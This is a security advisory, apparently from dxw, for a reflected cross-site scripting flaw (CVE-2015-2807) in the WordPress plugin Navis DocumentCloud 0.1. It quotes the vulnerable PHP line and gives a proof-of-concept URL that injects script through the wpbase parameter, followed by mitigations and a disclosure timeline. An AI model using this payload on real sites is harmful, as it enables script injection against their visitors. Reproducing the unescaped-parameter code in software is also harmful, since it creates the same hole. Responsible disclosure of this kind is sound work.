WordPress Navis DocumentCloud 0.1 Cross Site Scripting

`Details  
================  
Software: Navis DocumentCloud  
Version: 0.1  
Homepage: https://wordpress.org/plugins/navis-documentcloud/  
Advisory report: https://security.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/  
CVE: CVE-2015-2807  
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)  
  
Description  
================  
Publicly exploitable XSS in WordPress plugin Navis Documentcloud  
  
Vulnerability  
================  
This plugin contains the following code in js/window.php:  
$SITEURL .= $_GET[ ‘wpbase’ ];  
// snip  
<script src=”https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js”></script>  
<script src=”<?php echo $SITEURL; ?>wp-includes/js/tinymce/tiny_mce_popup.js”></script>  
Which is a trivially exploitable XSS.  
  
  
Proof of concept  
================  
Visit the following page on a site with this plugin installed. Note that the plugin need not be active:  
http://yourwordpresssite/wp-content/plugins/navis-documentcloud/js/window.php?wpbase=%22%3Ealert(%27xss%27)%3C/script%3E%3Cscript%20src=%22  
NB: this proof of concept may not work in browsers with XSS protection features.  
  
Mitigations  
================  
This plugin is no longer maintained, so if at all possible, switch to using the DocumentCloud plugin https://wordpress.org/plugins/documentcloud/.  
If this is not possible, upgrade to version 0.1.1 or later.  
  
Disclosure policy  
================  
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/  
  
Please contact us on [email protected] to acknowledge this report if you received it via a third party (for example, [email protected]) as they generally cannot communicate with us on your behalf.  
  
This vulnerability will be published if we do not receive a response to this report with 14 days.  
  
Timeline  
================  
  
2015-03-31 – Discovered  
2015-03-31 – Requested CVE  
2015-07-14 – Reported to [email protected]  
2015-07-14 – Vendor responded saying they’ll get in touch with the developer  
2015-08-24 – Vendor reported the issue fixed in version 0.1.1  
  
  
  
Discovered by dxw:  
================  
Harry Metcalfe  
Please visit security.dxw.com for more information.  
  
  
  
  
`